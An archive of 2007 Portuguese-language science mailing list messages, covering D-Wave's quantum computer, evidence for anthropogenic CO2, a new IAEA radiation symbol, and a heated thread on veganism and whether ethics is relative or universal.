> descoberta da mesma é mérito dos chineses. No entanto, um professor que é
> doutor em história informou-me que sua origem está nos árabes.
> Por favor, se você tiver algum texto, artigo, site, qualquer informação a
> respeito desse assunto, se puder me indicar, me enviar, ficarei muito
> grata.
>
> Desde então agradeço por sua atenção.
>
> Um abraço
>
> Professora Leandra Coutinho.
>
> outro endereço de e-mail: leandracoutinho@hotmail.com
>
>
>
>
>
>
> --------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.441 / Virus Database: 268.17.39/687 - Release Date:
> 14/02/2007 16:17
>
>
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> http://www.ciencialist.hpg.ig.com.br
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SUBJECT: Re: [ciencialist] [RN] COMPUTADOR QUÂNTICO COMERCIAL A CAMINHO?
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 15:44

Aqui tem uma crítica em relaçao ao que essa empresa divulga:
http://dabacon.org/pontiff/?p=1427


http://info.abril.com.br/aberto/infonews/022007/12022007-3.shl

Nao entendi coisa alguma, mas tá valendo :)

Gil
Em 15/02/07, rmtakata <roberto.takata@bol.com.br> escreveu:
>
> NATURE.COM, 15-02-2007
>
> QUANTUM COMPUTING AT 16 QUBITS
>
> Geoff Brumfiel
>
> D-Wave Systems, uma empresa sediada na Colúmbia Britânica, Canadá,
> inaugurou seu sistema no dia 13 de feveiro último no Museu de História
> do Computador em Mountain View, Califórnia, EUA. Embora ainda seja um
> protótipo, representantes da empresa dizem que o aparelho pode
> executar três tarefas relativamente simples: procurar coincidências em
> um banco de dados de proteínas, gerar mapa de cadeiras em uma recepção
> de casamento e completar um jogo de sudoku.
>
> O sistema ainda é centenas de vezes mais lento que os computadores
> convencionais, mas, segundo o diretor de tecnologia e co-fundador da
> D-Wave, Geordie Rose, um computador com mais qubits pode ser
> desenvolvido com a tecnologia atual, o que permitiria desenvolver a
> máquina em um aparelho mais competitivo.
>
> O computador da D-Wave possui 16 qubits. Cada qubit é formado por uma
> pequena rosquinha de corrente em um supercondutor. A corrente pode
> circular tanto no sentido horário como no anti-horário e, deixado a
> cabo do aparelho, ela circula nos dois sentidos simultaneamente -
> produzindo dois 'valores' simultâneos.
>
> O computador é programado para ajustar os valores iniciais das
> rosquinhas e suas interações com outras rosquinhas. Deixa-se, então, o
> aparelho funcionar e as respostas são lidas a partir dos estados
> finais do sistema. Ao contrário de outros sistemas, os qubits não são
> controlados individualmente durante a computação.
>
> Mas para produzir máquinas maiores e confiáveis, a empresa precisará
> controlar as interações entre os vários qubits de modo mais preciso,
> diz Andrew Steane, um especialista em computação-quântica da
> Universidade de Oxford, Reino Unido. Isso pode se mostrar difícil de
> se obter devido às dificuldades nos sistemas de controle e ao 'ruído'
> geral em toda a máquina. (t,e)
>
> http://www.nature.com/news/2007/070212/full/070212-8.html
> -----------------------------
>
> []s,
>
> Roberto Takata
>
>
>
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> Página de apoio
> http://www.ciencialist.hpg.ig.com.br
>
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>
>
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SUBJECT: Re: [ciencialist] Re: O Ambientalista Crente
FROM: "Mauro" <bombaspr@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 16:03

Olá Takata.

Obrigado pelas informações.

Inté+
Mauro

--- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@...> escreveu
> Mauro: A quantidade de CO2 é suficiente para causar o aquecimento
> global?

Tto qto se sabe, sim:
http://adsabs.harvard.edu/abs/1985TellB..37..189K

> Caso haja de fato um aquecimento global, o CO2 seria o *unico*
> responsável?

Nao, nao eh o unico responsavel. O metano e o NOx tb, alem de CFC e
outros. Curiosamente, todos sao gerados por poluicao antropogenica tb
em gdes qtdades. Curiosamente, a concentracao atmosferica de todos
aumentam mais ou menos na epoca da industrializacao.

[]s,

Roberto Takata




SUBJECT: Re: O Ambientalista Crente
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 16:25

Tem dois aspectos mais ou menos incontestes q sugerem q realmente
esta' havendo uma tendencia de aumento de CO2 na atmosfera, e q esse
aumento de CO2 tem realmente causa antropogenica.

1-Analises de gelo removido de grandes profundidades mostram q nos
mil anos antes de 1800 o CO2 atmosferico ficou mais ou menos estavel
na faixa de 270 e 290 ppmv (partes por milhao em volume). Em 1994 o
valor medido de 358 ppmv ja' foi maior q qq nivel de CO2 observado em
analises de gelo de ate' 220.000 anos anteriores. Em 2006 o nivel
subiu para 380 ppmv.

2-Combustiveis fosseis praticamente nao conteem carbono 14 (14C),
pois esse isotopo tem meia-vida de pouco menos de 6000 anos. No
ecossistema ha' uma continua geracao de C14 por acao de raios
cosmicos atingindo C14 na atmosfera superior. Como todos os seres
vivos fazem parte do ciclo de carbono atmosferico, o teor de C14 se
mantem constante no ar. Se o aumento de CO2 notado na atmosfera vem
mesmo de combustiveis fosseis, essas diferencas isotopicas deveriam
ser notadas no CO2 atmosferico. E de fato o teor de C14 na atmosfera
caiu de 2 a 2,5% entre 1850 e 1954, qdo so' entao voltou a aumentar
(devido ao grande numero de testes nucleares atmosfericos nos anos 50
q injetaram muito C14 no ar). A queda no C14 atmosferico foi
compativel com a queima de combustiveis fosseis no periodo. Claro q
isso poderia ser prova d q a origem do excesso do CO2 nao seria
materia q um dia foi viva, mas tem outro aspecto isotopico do carbono
a considerar: Devido a seus mecanismos bioquimicos, as plantas
absorvem C12 e C13 da atmosfera em proporcoes diferentes dos teores
desses dois isotopos no ar. E esses dois isotopos sao estaveis. Se o
excesso de CO2 e' mesmo devido a combustiveis fosseis a relacao
C12/C13 atmosferica iria mudar com a entrada macica de CO2 de origem
fossil organica. E plantas modernas teem mecanismos bioquimicos
diferentes q absorvem C12/C13 em proporcao diferentes de plantas
fosseis (embora os antigos mecanismos permanecam ainda em muitas
plantas modernas). De qq modo pode ser calculado qto mudaria a
proporcao C12/C13 se o excesso de CO2 viesse principalmente de
combustiveis fosseis. E foi isso q foi efetivamente medido desde o
inicio da era industrial. Nenhuma fonte nao antropogenica de CO2
poderia explicar essa mudanca de proporcao C12/C13 na atmosfera, so'
se o aumento de CO2 fosse mesmo devido aa queima de carvao e
petroleo, q um dia foram seres vivos.

A unica duvida q resta e' se esse aumento de CO2 atmosferico de causa
antropogenica e' algo a ser evitado, revertido ou ignorado.

Ja' vi artigos cientificos dizendo q vem ai' uma Era do Gelo, e q
vamos precisar de gases de efeito estufa pra evitar um congelamento
planetario nos proximos 10 mil anos.

Q seria so' uma questao de 'ajuste fino'.

Mas essa tese parece ainda mais polemica q a do aquecimento global.

;-)

Abs,
Eduardo Torres

--- Em ciencialist@yahoogrupos.com.br, "rmtakata"
<roberto.takata@...> escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Mauro" <bombaspr@> escreveu
> > Mauro: A quantidade de CO2 é suficiente para causar o aquecimento
> > global?
>
> Tto qto se sabe, sim:
> http://adsabs.harvard.edu/abs/1985TellB..37..189K
>
> > Caso haja de fato um aquecimento global, o CO2 seria o *unico*
> > responsável?
>
> Nao, nao eh o unico responsavel. O metano e o NOx tb, alem de CFC e
> outros. Curiosamente, todos sao gerados por poluicao antropogenica
tb
> em gdes qtdades. Curiosamente, a concentracao atmosferica de todos
> aumentam mais ou menos na epoca da industrializacao.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Além da questão alimentar
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: veg-brasil@yahoogrupos.com.br
CC: Santa Paciência <santapaciencia@yahoogrupos.com.br>, "Ciência" Lista <ciencialist@yahoogrupos.com.br>
DATE: 15/02/2007 16:26

Do bem e mal, do pecado?

O veganismo é uma opção pela paz, pela compassividade, uma pessoa normal jamais aceitaria ser cúmplice de uma violência...

Se escolhas definem e geram situações, porque devo ser cúmplice de certos atos que a humanidade pratica em função de gosto alimentar?
Só para dar um exemplo, castrar um porco sem anestesia,
e se ele for criptorquida, ou seja, o animal que não desceu os testículos,
abre-se o abdomen, também sem anestesia, se afasta os intestinos e puxa os ligamentos.Será que isso dói?Alguém duvida?

Uma pessoa me mandou um e-mail, dizendo que tinham o direito de debochar das minhas ilações sobre os animais, porque eu levava isso muito a sério, afinal, por que eu me importava?

Vc saber de tanta dor e ser preparado para causar mais,
como alguém consegue viver ignorando isso?
Me perdoem, mas eu me importo.

Talvez certas coisas, as pessoas só vão aprender se experimentar em si mesmas?Vcs precisam sofrer uma violência para saber que isso é um mal?

Ok, não me respondam, reflitam apenas.
Estou sem tempo de ler todos os posts e cada vez mais distante de qualquer pensamento ou filosofia, ou cultura, que não melhore a pessoa.

Meu silêncio fala por mim.

Agradeço a atenção,

Bruna Carolina


Beatriz Medina <bmedinatrans@gmail.com> escreveu: Essa talvez seja a principal razão pela qual não sou nem pretendo ser
vegana. Isso de regras rígidas, de bem e mal, de pecado, não é pra mim não.

Beatriz Medina
Borda da Mata, MG, Brasil

Silas Cordeiro-Pascoal escreveu:

> credo. não quis dizer isso. só estava comentando a diferença na
> arbitrariedade do veganismo (tudo de origem animal ou testado em
> animais é terminantemente proibido) e a flexibilidade individualista e
> empirista da macrobiótica (o que vc achar, o que vc provar, o que vc
> achar que faz bem, etc). Na macrobiótica a regra é vc, no veganismo a
> regra são os Direitos dos Animais...
>






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Além da questão alimentar
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 16:58

--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> O veganismo é uma opção pela paz, pela compassividade, uma pessoa
> normal jamais aceitaria ser cúmplice de uma violência...

Responda a uma pergunta: 200 vacas ou 1 pessoa?

[]s,

Roberto Takata



SUBJECT: Novo simbolo de perigo radioativo
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 19:37

A Agência Internacional de Energia Atômica lançou um novo símbolo para
identificar fontes de radiação ionizante danosa.

O tradicional trevo quinado preto será complementado por símbolos de
ondas de radiação, uma caveira com ossos cruzados e uma pessoa
correndo - o fundo passa a ser vermelho em lugar do amarelo e o campo
terá o formato triangular com bordas negras.

Em um estudo conjunto com a Organização Internacional de Padronização
(ISO), envolvendo entrevista com 1.650 pessoas de 11 países (Brasil,
México, Marrocos, Quênia, Arábia Saudita, China, Índia, Tailândia,
Polônia, Ucrânia e Estados Unidos), o novo desenho - desenvolvido por
especialistas em fatores humanos, designers gráficos e técnicos em
radioatividade - mostrou-se mais informativo.

Mais informações em:
http://www.iaea.org/NewsCenter/News/2007/radiationsymbol.html
-----------------
[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] E ética
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 21:43


ola victor

essa discussão sobre etica, é obvio q ela é subjetiva

não sei q tantos emails prtecisa-se mandar pra entender
algo tao simples

sérgio







"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: P/ Bruna - Re: E ética de cada um...
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 22:39

Olá Bruna

Bruna: "Entendo, agora...
> Ricardo, significa que sua ética depende do lugar onde vc estiver."

Não, querida, não significa isso. Significa que a ética varia,
dependendo da cultura, não a minha ética, mas a de cada cultura.

Para mim, e tenho certeza para o Ricardo, a ética será a mesma, esteja
eu aqui ou na África. Mas da mesma forma a ética de um muçulmano
africano será a mesma, e diferente da minha, quer ele esteja na
África, ou aqui no Brasil.

Significa que não há uma ética universal, um certo e errado absoluto,
que possa ser aceito por todas as culturas e indivíduos, e que devemos
nos esforçar por chegar a acordos, que possam ser aplicados de forma
mais um menos geral.

É isso que significa. Além disso, afirmar que para o Ricardo a ética,
a dele, varia com o lugar, é uma falácia do espantalho: uma construção
argumentativa que o debatedor NÃO fez, mas que é mais fácil de atacar
que o argumento que ele realmente apresentou.

Um abraço.

Homero





SUBJECT: RE: [ciencialist] P/ Bruna - Re: E ética de cada um...
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 22:54

Oráculo, oi.
Eu juro que há diferença entre a *ética* e a *moral*, e pelo menos para mim,
a *moral* sim é que varia muito com a cultura dos povos.
Felizmente a ética é mais imutável.
abr/M.


>From: "oraculo333" <oraculo@atibaia.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] P/ Bruna - Re: E ética de cada um...
>Date: Fri, 16 Feb 2007 00:39:37 -0000
>
>Olá Bruna
>
>Bruna: "Entendo, agora...
> > Ricardo, significa que sua ética depende do lugar onde vc estiver."
>
>Não, querida, não significa isso. Significa que a ética varia,
>dependendo da cultura, não a minha ética, mas a de cada cultura.
>
>Para mim, e tenho certeza para o Ricardo, a ética será a mesma, esteja
>eu aqui ou na África. Mas da mesma forma a ética de um muçulmano
>africano será a mesma, e diferente da minha, quer ele esteja na
>África, ou aqui no Brasil.
>
>Significa que não há uma ética universal, um certo e errado absoluto,
>que possa ser aceito por todas as culturas e indivíduos, e que devemos
>nos esforçar por chegar a acordos, que possam ser aplicados de forma
>mais um menos geral.
>
>É isso que significa. Além disso, afirmar que para o Ricardo a ética,
>a dele, varia com o lugar, é uma falácia do espantalho: uma construção
>argumentativa que o debatedor NÃO fez, mas que é mais fácil de atacar
>que o argumento que ele realmente apresentou.
>
>Um abraço.
>
>Homero
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SUBJECT: P/ Chicao - As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 22:57

Olá Chicao

Este foi realmente um debate interessante, tirando as atrapalhadas
intervenções do Bradock/Tagore/Troll/Romano..:-)

E as duas divisões me parecem claras, embora eu pense que estão um
tanto limitadas e poderiamos encontrar variantes e formas mistas.

Só tenho uma correção, a vertente 2 não é de maneira alguma a posição
do troll/Romano. A posição dele é: se puder arrumar encrenca, "tô
dentro"..:-)

Veja que, para a Bruna, suas mensagens eram ataques ao vegetarianismo,
e para o Takata, de defesa. "Hay un debate, soy contra"..:0)

Na posição 2, mesmo sendo a Carta de Direitos fruto de debate
amadurecido, será sempre para uma parcela, a amadurecida, das
culturas. Culturas em estágios, digamos, anteriores, não concordarão
com suas bases e alegações, como, por exemplo, direitos idênticos a
todos a partir do nascimento.

Em uma cultura onde a importância deriva da classe em que nasce, essa
idéia não é "ética" ou justa. Na Índia, em muitas regiões, tentar dar
importância igual ao recém nascido na classe pária quanto na classe
bramane, será considerado profundamente injusto e pouco ético
(recentemente o governo indu se recusou a discutir o sistema de castas
desse pais na ONU, em 2001 se não me engano).

O modo de pensar do Romano (se é que se pode chamar de modo de pensar
isso tudo) é mais algo do tipo: existe determinadas regras que são
absolutas, não decorrendo de razão ou concordância entre indivíduos ou
culturas. Uma vez que uma delas seja encontrada, TODOS, sem exceção,
concordariam que é uma regra ética boa e justa.

Chicão: "Mas aviso a Homero e Victor
> que devo por essa discussão em pauta novamente
> tentando defender 2."

Será ótimo..:-) Até porque eu concordo, pelo menos em parte, com a
posição 2. Como eu disse, uma forma mista seria mais razoável como
explicação.

Eu, pessoalmente, vejo normas éticas que considero "melhores" que
outras formas, não por serem absolutas, mas por motivos diversos, como
o motivo, egoísta, de aumentar o nível de tolerância de uma sociedade,
o que me beneficiaria. Ou pelo motivo, altruísta, de preferir ver
minha filha mais feliz e segura em uma sociedade que respeita direitos
femininos. Ou por um motivo biológico/neurológico/evolutivo, minha
resposta a dor alheia é desagradável, e eu prefiro a sensação de
ajudar que a sensação de destruir (como boa parte dos animais
gregários, que tem de viver me grupos).

Estudos recentes, por exemplo, descobriram que dar algo a alguém,
ajudar a levantar, ou entregar um presente, dispara os centros de
prazer do cérebro.

Um abraço.

Homero




SUBJECT: P/ Bruna - Re: E ética de cada um...
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:14

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Eu juro que há diferença entre a *ética* e a *moral*, e pelo menos

Ética é a parte da filosofia q estuda a moral.

Éthos (em grego) e mores (em latim) significam a mm coisa: costumes.

[]s,

Roberto Takata



SUBJECT: Re: Além da questão alimentar
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:23

Olá Bruna

Bruna: "O veganismo é uma opção pela paz, pela compassividade, uma
pessoa normal jamais aceitaria ser cúmplice de uma violência..."

Não, querida, o veganismo é a opção de se alimentar de vegetais
apenas. Só isso. As conclusões "morais" que tenta tirar desse
comportamento não são válidas ou absolutas.

Para muitos, destruir plantas, mesmo para comer, é uma violência. O
fato de que você pensa ser "menos" violência matar uma planta do que
matar um animal apenas demonstra o relativismo da ética.

Você "mata" o alface para come-lo, mas ainda não explicou porque essa
"violência" é menos violência que matar um rato.

Pessoas normais, na maioria dos sentidos do termo normal, come carne.
Normal, no sentido se ser a maior parte de um grupo, come carne.
Normal, no sentido de ter uma psique dentro do padrão evolutivo atual,
não vê problemas em comer carne ou se alimentar da mesma forma como
todos os outros seres vivos, a partir de outros seres vivos.

Portanto, pessoas normais comem carne e não são vegans. E, nisso tem
razão, não aceitam ser cúmplices de violência, mas NÃO consideram essa
alimentação carnívora uma violência, apenas uma necessidade, digamos,
normal..:-)

Sua religião está distorcendo os argumentos, para tentar provar que:
vegans são gente bondosa, gentil, justa, perfeita, e comedores de
carne são malvados, violentos, cúmplices de violência, etc, etc.

O que, é claro, não é verdade.

Bruna: "Se escolhas definem e geram situações, porque devo ser
cúmplice de certos atos que a humanidade pratica em função de gosto
alimentar?"

Porque, como já foi exaustivamente explicado, não é gosto, mas
necessidade biológica. O esforço extra para se alimentar apenas de
vegetais simplesmente não pode ser feito para alimentar 6 bilhões de
pessoas. Comer carne, é uma necessidade biológica, só dispensável com
suplementos, esforço, dietas especiais, etc, não uma questão de gosto.

Bruna: "Só para dar um exemplo, castrar um porco sem anestesia, e se
ele for criptorquida, ou seja, o animal que não desceu os testículos,
abre-se o abdomen, também sem anestesia, se afasta os intestinos e
puxa os ligamentos.Será que isso dói? Alguém duvida?"

Ninguém duvida. E se puder fazer isso de outra forma, com anestesia,
eu acharei ótimo. Mas, em algum momento tem de perceber isso, não tem
NADA a ver com se tornar Vegan, mas sim com minorar, quando possível,
a dor de outros animais. E continuar a se alimentar deles, se
necessário (e é necessário).

Pense, Bruna, um Vegan poderia fazer isso a um porco, e um carnívoro
poderia anestesia-lo antes. Um Vegan poderia escolher essa forma de
alimentação para viver de forma mais saudável, se acreditar nisso, e
ainda assim ser cruel e violento com animais. Isso não tem NADA a ver
com o tipo de alimentação necessário ao ser humano.

Bruna: "Uma pessoa me mandou um e-mail, dizendo que tinham o direito
de debochar das minhas ilações sobre os animais, porque eu levava isso
muito a sério, afinal, por que eu me importava?"

Não acho que alguém tenha direito de debochar de sua forma de pensar.
mas não acho que ninguém aqui debochou (a não ser o troll/Romano, mas
ele não conta..:-). O que tentamos fazer foi argumentar e mostrar
evidências de que está errada em suas conclusões e afirmações. E isso
é legítimo em qualquer debate, não?

Acho, inclusive, admirável sua preocupação com animais e outros seres
vivos. Um tanto equivocada em seus objetivos, mas ainda assim admirável.

Bruna: "Talvez certas coisas, as pessoas só vão aprender se
experimentar em si mesmas?Vcs precisam sofrer uma violência para saber
que isso é um mal?"

O nome disso, dessa sua posição, é antropomorfização, a aplicação de
caracteristicas e reações humanas a animais e vice-versa. Para
entender melhor, pense quem alguém dizendo para você o seguinte:

Mas Bruna, como vai tomar esse antibiótico e matar milhões de seres
vivos que neste momento precisam de seu corpo para viver e se
alimentar? Não vê que eles não tem escolha, que não fazem por mal?
Será que só vai entender isso se experimentar a dor e o sofrimento de
morrer com doses de antibióticos fortíssimos???

Um tanto absurdo, não? Mas é o mesmo que leva pessoas, no mais muito
razoáveis, a ver na proteção de alguns filhotes por seus pais, um amor
como o de uma mãe ou pai humano. Quando, na verdade, há apenas um
comportamento padronizado e fixo nas respostas a estímulos.

Não comer mel, porque "as abelhas operárias são oprimidas", ou não
comer ovos porque "são roubados de suas mães galinhas" é
antropomorfizar. E não funciona.

Veja um pássaro, um pardal por exemplo. Ele cria os filhotes com
'amor", não? Os alimenta, cuida deles, aquece, etc. Se você tirar o
filhote do ninho, e o colocar ao lado do ninho, os pais o salvarão, não?

Não. Os pais o deixarão morrer de fome, a gritar desesperadamente, e
alimentarão apenas o irmão que ficar no ninho. Eles não tem escolha, e
não sabem nada sobre amar e salvar filhotes do lado de fora do ninho.

O mesmo para ovos. Tire um ovo, e a mãe porá outro. Sem dor, sem
pensar "óh, onde foi parar meu querido filhinho, que sofrimento atróz,
óh, oh, óh".

Assim, "roubar" ovos de galinhas não é o mesmo que roubar filhos de
mães e pais humanos, Bruna.

Bruna: "Ok, não me respondam, reflitam apenas.
Estou sem tempo de ler todos os posts ...
Meu silêncio fala por mim."

Estas 3 frases são significativas, Bruna. Indicam que está apenas
tentando divulgar sua religião, e não participando de um debate
racional, onde as partes apresentam seus argumentos e evidências, para
aumentar a compreensão e aprender algo.

O nome deste ambiente que participamos é Lista de Discussão, ou seja,
devemos discutir, não ler e não responder. E não usar o silêncio para
"falar por mim". E certamente não enviar mensagens e se recusar a ler
as respostas.

Se você já "sabe a verdade", tem a "certeza 100%" que está correta,
não vai nem ler os argumentos, e muito menos mudar de idéia ou ceder
em algum ponto que não havia compreendido, o que exatamente está
fazendo aqui? Procurando converter discípulos? Divulgando sua
religião? Alertando os pobres mortais que ainda "não viram a luz da
verdade"?

Não acha um pouco pretensioso?

Um abraço.

Homero




SUBJECT: P/ Sérgio - Re: E ética
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:28

Olá Sérgio

Sergio: "não sei q tantos emails prtecisa-se mandar pra entender algo
tao simples"

Bem, sem um troll na lista, alguns poucos, com um troll na lista,
centenas, pois o que interessa ao troll é o bate boca, não o debate
propriamente dito..:-)

Um abraço.

Homero




SUBJECT: Re: [ciencialist] P/ Sérgio - Re: E étic a?=
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:32

Nesse caso o troll aqui é vc...

oraculo333 <oraculo@atibaia.com.br> escreveu: Olá Sérgio

Sergio: "não sei q tantos emails prtecisa-se mandar pra entender algo
tao simples"

Bem, sem um troll na lista, alguns poucos, com um troll na lista,
centenas, pois o que interessa ao troll é o bate boca, não o debate
propriamente dito..:-)

Um abraço.

Homero





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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Murilo - Re: E ética de cada um...
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:38

Olá Murilo

Murilo: "Eu juro que há diferença entre a *ética* e a *moral*"

Esta é realmente uma questão muito interessante e complexa. Muitas
vezes usamos os dois termos com o mesmo sentido, mas muitos filósofos
e especialistas (mais inteligentes que eu, certamente..:-) pensam que
se pode separar os dois.

O problema é que existem quase tantas formas de separar os termos
quanto existem filósofos..:-)

A moral tende realmente a ser mais ligada a "costumes", sendo a ética,
em geral, tida como mais universal (de forma relativa e não absoluta,
claro).

Uma forma que me agrada é a separação de alcance dos termos. Moral são
normas que atingem o próprio individuo, sem efeitos em terceiros.
Ética seriam normas e regras que atingem a terceiros, que tem efeitos
além do indivíduo.

Como se vestir (ou não vestir), que partes do corpo cobrir, seria algo
relacionado a moral. Afeta ao individuo, e nada mais. Assassinato é
uma questão ética, pois seu efeito atinge terceiros (que podem não
gostar de serem assassinados..:-)

Outra forma seria estrutural. Moral se refere a norma correta de agir,
ética a reflexão sobre a norma. Assim, a regra de define o adultério
como errado é moral. E a reflexão racional sobre o porque é errado
cometer adultério, uma questão para a ética.

Neste debate, me parece, usamos os termos como sinônimos, ou quase.
Como estamos querendo determinar se regras ou considerações sobre
essas regras, podem ser absolutas, universais, ou se sempre dependerão
de culturas ou contratos sociais, não é preciso separar os termos para
discutir o assunto.

Um abraço.

Homero





SUBJECT: P/ Bruna - Re: E étic a?=
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:44

Olá Bruna

Bruna: "Nesse caso o troll aqui é vc..."

Bem, em que momento eu me comportei como um troll com você, Bruna? Em
que mensagem eu apresentei qualquer outra coisa que não argumentos,
baseados em seus argumentos, dados e evidências?

O único que atacou você, pelo vegetarianismo puro e simples, e que fez
gozações com assaltos a geladeira noturnos, foi o
Bradock/Tagore/Romano/etc, mas isso é da natureza dele.

Será que não está me confundindo com ele?

Ou talvez a falta de um argumento para refutar os meus possa ter
deixado você chateada comigo. Mas isso não é motivo para me acusar de
ser um troll, não?

Fui educado, moderado e racional em todas as minhas mensagens. A
simples discordância com suas alegações, e eu ainda discordo delas,
não é suficiente para classificar alguém como troll..:-)

Um abraço.

Homero





SUBJECT: Re: [ciencialist] Re: Além da questão alimentar
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/02/2007 23:46

Eu já respondi em um dos primeiros e-mails sobre porque se aimentar de vegetais não é uma violência qto o carnivorismo.
Também já lhe respondi porque é impossível minimizar a dor, teria custos tão altos que quem come carne não estaria disposto a pagar.
Afirmar que a carne é um mal necessário apenas demonstra total desconhecimento sobre nutrição, e isso é muito simples, vai estudar, antes de afirmar a impossibilidade da minha dieta, estou há mais de seis anos sem carne e derivados e posso afirmar que minha saúde é melhor que a sua!E não utilizo suplementos nem medicamentos.
Vc tocou na palavra-chave "esforço" algo que muitos não estão dispostos a fazer, preferem continuar a se iludir enquanto milhões de animais são miseravelmente tratados por culpa da preguiça humana.
A luz da verdade eu gostaria de mostrar numa granja de produção de suínos, no dia da castração, mutilação dos dentes e corte do rabo, todos sem anestesia, onde o animal grita e se mexe muito, quer conhecer?
Não quer né?!
O que os olhos não vêm o coração não sente...

Bem, aquele e-mail foi para meditar sobre isso, não foi para gerar nova discussão.Como eu disse antes, preciso saber todas essas vertentes éticas para discutir aqui, porém, sempre vou concluir que não me serve nenhuma filosofia, cultura ou "ética" que não torne as pessoas melhores.

oraculo333 <oraculo@atibaia.com.br> escreveu: Olá Bruna

Bruna: "O veganismo é uma opção pela paz, pela compassividade, uma
pessoa normal jamais aceitaria ser cúmplice de uma violência..."

Não, querida, o veganismo é a opção de se alimentar de vegetais
apenas. Só isso. As conclusões "morais" que tenta tirar desse
comportamento não são válidas ou absolutas.

Para muitos, destruir plantas, mesmo para comer, é uma violência. O
fato de que você pensa ser "menos" violência matar uma planta do que
matar um animal apenas demonstra o relativismo da ética.

Você "mata" o alface para come-lo, mas ainda não explicou porque essa
"violência" é menos violência que matar um rato.

Pessoas normais, na maioria dos sentidos do termo normal, come carne.
Normal, no sentido se ser a maior parte de um grupo, come carne.
Normal, no sentido de ter uma psique dentro do padrão evolutivo atual,
não vê problemas em comer carne ou se alimentar da mesma forma como
todos os outros seres vivos, a partir de outros seres vivos.

Portanto, pessoas normais comem carne e não são vegans. E, nisso tem
razão, não aceitam ser cúmplices de violência, mas NÃO consideram essa
alimentação carnívora uma violência, apenas uma necessidade, digamos,
normal..:-)

Sua religião está distorcendo os argumentos, para tentar provar que:
vegans são gente bondosa, gentil, justa, perfeita, e comedores de
carne são malvados, violentos, cúmplices de violência, etc, etc.

O que, é claro, não é verdade.

Bruna: "Se escolhas definem e geram situações, porque devo ser
cúmplice de certos atos que a humanidade pratica em função de gosto
alimentar?"

Porque, como já foi exaustivamente explicado, não é gosto, mas
necessidade biológica. O esforço extra para se alimentar apenas de
vegetais simplesmente não pode ser feito para alimentar 6 bilhões de
pessoas. Comer carne, é uma necessidade biológica, só dispensável com
suplementos, esforço, dietas especiais, etc, não uma questão de gosto.

Bruna: "Só para dar um exemplo, castrar um porco sem anestesia, e se
ele for criptorquida, ou seja, o animal que não desceu os testículos,
abre-se o abdomen, também sem anestesia, se afasta os intestinos e
puxa os ligamentos.Será que isso dói? Alguém duvida?"

Ninguém duvida. E se puder fazer isso de outra forma, com anestesia,
eu acharei ótimo. Mas, em algum momento tem de perceber isso, não tem
NADA a ver com se tornar Vegan, mas sim com minorar, quando possível,
a dor de outros animais. E continuar a se alimentar deles, se
necessário (e é necessário).

Pense, Bruna, um Vegan poderia fazer isso a um porco, e um carnívoro
poderia anestesia-lo antes. Um Vegan poderia escolher essa forma de
alimentação para viver de forma mais saudável, se acreditar nisso, e
ainda assim ser cruel e violento com animais. Isso não tem NADA a ver
com o tipo de alimentação necessário ao ser humano.

Bruna: "Uma pessoa me mandou um e-mail, dizendo que tinham o direito
de debochar das minhas ilações sobre os animais, porque eu levava isso
muito a sério, afinal, por que eu me importava?"

Não acho que alguém tenha direito de debochar de sua forma de pensar.
mas não acho que ninguém aqui debochou (a não ser o troll/Romano, mas
ele não conta..:-). O que tentamos fazer foi argumentar e mostrar
evidências de que está errada em suas conclusões e afirmações. E isso
é legítimo em qualquer debate, não?

Acho, inclusive, admirável sua preocupação com animais e outros seres
vivos. Um tanto equivocada em seus objetivos, mas ainda assim admirável.

Bruna: "Talvez certas coisas, as pessoas só vão aprender se
experimentar em si mesmas?Vcs precisam sofrer uma violência para saber
que isso é um mal?"

O nome disso, dessa sua posição, é antropomorfização, a aplicação de
caracteristicas e reações humanas a animais e vice-versa. Para
entender melhor, pense quem alguém dizendo para você o seguinte:

Mas Bruna, como vai tomar esse antibiótico e matar milhões de seres
